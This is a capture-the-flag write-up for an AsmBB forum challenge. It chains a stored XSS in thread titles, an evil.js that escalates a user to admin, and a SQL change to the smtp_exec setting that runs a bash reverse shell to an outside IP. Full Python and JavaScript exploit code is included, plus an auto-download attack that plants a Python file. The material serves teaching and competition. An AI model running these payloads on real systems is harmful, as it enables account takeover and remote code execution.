Challenge description
https://board.asm32.info/asmbb-v2-9-has-been-released.328/
From the post:
- “AsmBB is very secure web application, because of the internal design and the reduced dependencies. But it also supports encrypted databases, for even higher security.”
- “Download, install and hack”
Yes
Goal is to get the admin to visit a page on the forum,
HACK-HACK-HACK,
/readflag will print out the flag.
Please don’t submit too many requests or try to abuse anything with the setup.
Focus on the forum’s implementation.
The engine of http handler is written in pure ASM.
The admin bot would visit a given page.
Solution
Attack approach:
- XSS to get administrator privileges
- set server settings
Pipe the email thourgh
, this filed controls how the server engine send a emailConfirm by email
, this option enables sending emails when changing password, changing email, and registering new user.
- change email -> send email -> smtp_exec -> rce
XSS
Create a new thread and prepare the xss payload (like <script>alert(1)</script>
) in the thread title.
Post a lot of contents (like 'a'*0x100000
) to the content of the new thread and submit it.
The XSS alert will pop out when viewing the edit page.
The key question is how is this found? In fact, one of our pwner found it by fuzzing :)
This step may be the most difficult part.
RCE
XSS can only bring us administrator privileges. But what we finally need is RCE.
Since the server engine is written in ASM purelly. The possible approach to RCE is to call execve
syscall.
Search relevant code snippets and we can find following asm code in command.asm
.
stdcall FileClose, edx
stdcall Exec2, [.exec], ebx, [STDOUT], [STDERR]
stdcall WaitProcessExit, eax, -1
Along with such a clue we can find a call trace in command.asm
.
-> ProcessActivationEmails
-> SendActivationEmail
-> Exec2
Search ProcessActivationEmails
in all source files and obtain three callers:
RegisterNewUser
ResetPassword
ChangeEmail
And they all checks the parameter email_confirm
, which can be set with administrator privileges.
stdcall GetParam, "email_confirm", gpInteger
jc .send_emails
Going back to the Exec2
we can notice that the args of Exec2
is stored in variable .exec
, which is assigned with the parameter smtp_exec
.
stdcall GetParam, txt "smtp_exec", gpString
mov [.exec], eax
test eax, eax
jnz .addresses_ok
There are several approach to set parameters since we already obtain admin privileges:
- execute sql statements and update the sqlite database directly.
- post forms in settings page.
Exp
Note that:
- all http requests should bring the auth header.
- all post requests should be submited with a ticket which is hidden in forms.
First we should prepare some essential enviroment:
import requests
import base64
from bs4 import BeautifulSoup
ip = '162.55.216.146'
port = '24366'
host = '%s:%s' % (ip, port)
proxy_username = 'hxp'
proxy_password = 'hxp'
basic_auth = base64.b64encode((f'{proxy_username}:{proxy_password}').encode()).decode()
sess = requests.Session()
register a new user
def register(username, password):
url = 'http://' + host + '/!register/'
headers = { 'Authorization': f'Basic {basic_auth}' }
r = requests.get(url, headers=headers)
html = BeautifulSoup(r.text, features='html5lib')
ticket = html.find('input', {'name':'ticket'})['value']
data = {
'username': username,
'email': '',
'password': password,
'password2': password,
'ticket': ticket,
'submit.x': '10082',
'submit.y': '11'
}
r = requests.post(url, data=data, headers=headers, allow_redirects=True)
html = BeautifulSoup(r.text, features='html5lib')
msg = html.find('div', {'class':'message'}).text
print(msg)
login
def login(username, password):
url = 'http://' + host + '/!login/'
headers = { 'Authorization': f'Basic {basic_auth}' }
r = sess.get(url, headers=headers)
html = BeautifulSoup(r.text, features='html5lib')
ticket = html.find('input', {'name':'ticket'})['value']
data = {
'username': username,
'password': password,
'backlink': '/',
'ticket': ticket,
'submit.x': '10083',
'submit.y': '2'
}
r = sess.post(url, data=data, headers=headers, allow_redirects=False)
post a new thread and get the edit page path to trigger XSS
def post_thread(title, content):
url = 'http://' + host + '/!post/'
headers = { 'Authorization': f'Basic {basic_auth}' }
r = sess.get(url, headers=headers)
html = BeautifulSoup(r.text, features='html5lib')
ticket = html.find('input', {'name':'ticket'})['value']
data = {
'ticket': ticket,
'submit': '',
'tabselector': '',
'title': title,
'tags': '',
'invited': '',
'format': '',
'source': content,
}
files = { 'attach': '' }
r = sess.post(url, data=data, files=files, headers=headers, allow_redirects=False)
path = r.headers['Location'].replace('#', '') + '/!edit'
return path
execute sql statements
def exec_sql(sql):
url = 'http://' + host + '/!sqlite/'
headers = { 'Authorization': f'Basic {basic_auth}' }
r = sess.get(url, headers=headers)
html = BeautifulSoup(r.text, features='html5lib')
ticket = html.find('input', {'name':'ticket'})['value']
data = { 'source': sql, 'ticket': ticket }
r = sess.post(url, data=data, headers=headers)
change email
def change_email(username, password):
url = 'http://' + host + '/!userinfo/' + username
headers = { 'Authorization': f'Basic {basic_auth}' }
r = sess.get(url, headers=headers)
html = BeautifulSoup(r.text, features='html5lib')
ticket = html.find('input', {'name':'ticket'})['value']
url = 'http://' + host + '/!changemail'
data = {
'password': password,
'email': 'abcd@qq.com',
'ticket': ticket,
'changeemail': 'Change email',
}
r = sess.post(url, data=data, headers=headers, allow_redirects=False)
print(r.headers)
interactive with the admin bot
def access_bot(path:str):
from pwn import remote, context
io = remote(ip, 9762)
io.sendlineafter(b'Please give instance username: ', proxy_username.encode())
io.sendlineafter(b'Please give instance password: ', proxy_password.encode())
io.sendlineafter(b'Please give instance port: ', port.encode())
io.recvuntil(b'Please give the path the admin should check. (should match ^.{0,100}$)\n')
io.recvuntil(f'http://{host}/')
io.sendline(path.encode())
io.recvuntil(b'Done visiting')
io.close()
Then exploite happily~
username = 'test'
password = 'test123'
register(username, password)
login(username, password)
path = post_thread(f'<script src="//attacker.com/evil.js"></script>', 'a' * 0x100000)
access_bot(path.removeprefix('/'))
cmd = '/usr/bin/bash -c "/usr/bin/bash -i >& /dev/tcp/11.45.14.01/2333 0>&1"'
payload = base64.b64encode(cmd.encode()).decode()
smtp_exec = f'/usr/bin/python3 -c __import__("os").popen(__import__("base64").b64decode(b"{payload}").decode());'
sql = f'''
update params set val=1 where id='email_confirm';
insert into params values('smtp_exec', '/readflag');
update params set val='{smtp_exec}' where id='smtp_exec';
'''
exec_sql(sql)
change_email(username, password)
The content of evil.js
:
const host = 'http://162.55.216.146:24366'
const proxy_username = 'hxp';
const proxy_password = 'hxp';
const username = 'test'
let is_admin = 1;
let user_perm = is_admin ? "$80000000" : "0"
let auth = btoa(proxy_username + ':' + proxy_password)
fetch(host + '/!userinfo/' + username, {
credentials: 'include',
headers: { 'Authorization': 'Basic ' + auth }
}).then(res => res.text())
.then(res => {
let data = res;
data = data.match('<input type="hidden" name="ticket" value="([0-9A-F]{32})">')[1];
fetch(host + '/!userinfo/' + username, {
method: 'POST',
credentials: 'include',
headers: { 'Authorization': 'Basic ' + auth },
body: new URLSearchParams([
['user_desc', ''],
['user_perm', '1'],
['user_perm', '2'],
['user_perm', '4'],
['user_perm', '8'],
['user_perm', '16'],
['user_perm', '64'],
['user_perm', '256'],
['user_perm', '512'],
['user_perm', '1024'],
['user_perm', user_perm],
['PostInterval', '0'],
['PostIntervalInc', '0'],
['MaxPostLen', '0'],
['ticket', data],
['save', 'Save']
])
});
}
);
An Unintended Solution
The admin bot hasn’t turned off the “auto download” option of chrome, so we can upload an attachment file and pass the link path to the bot and it would download the file automatically and save the file in /home/admin
.
if we name the attachment file as re.py
, the next time admin.py
is executed, our script will be imported and executed :)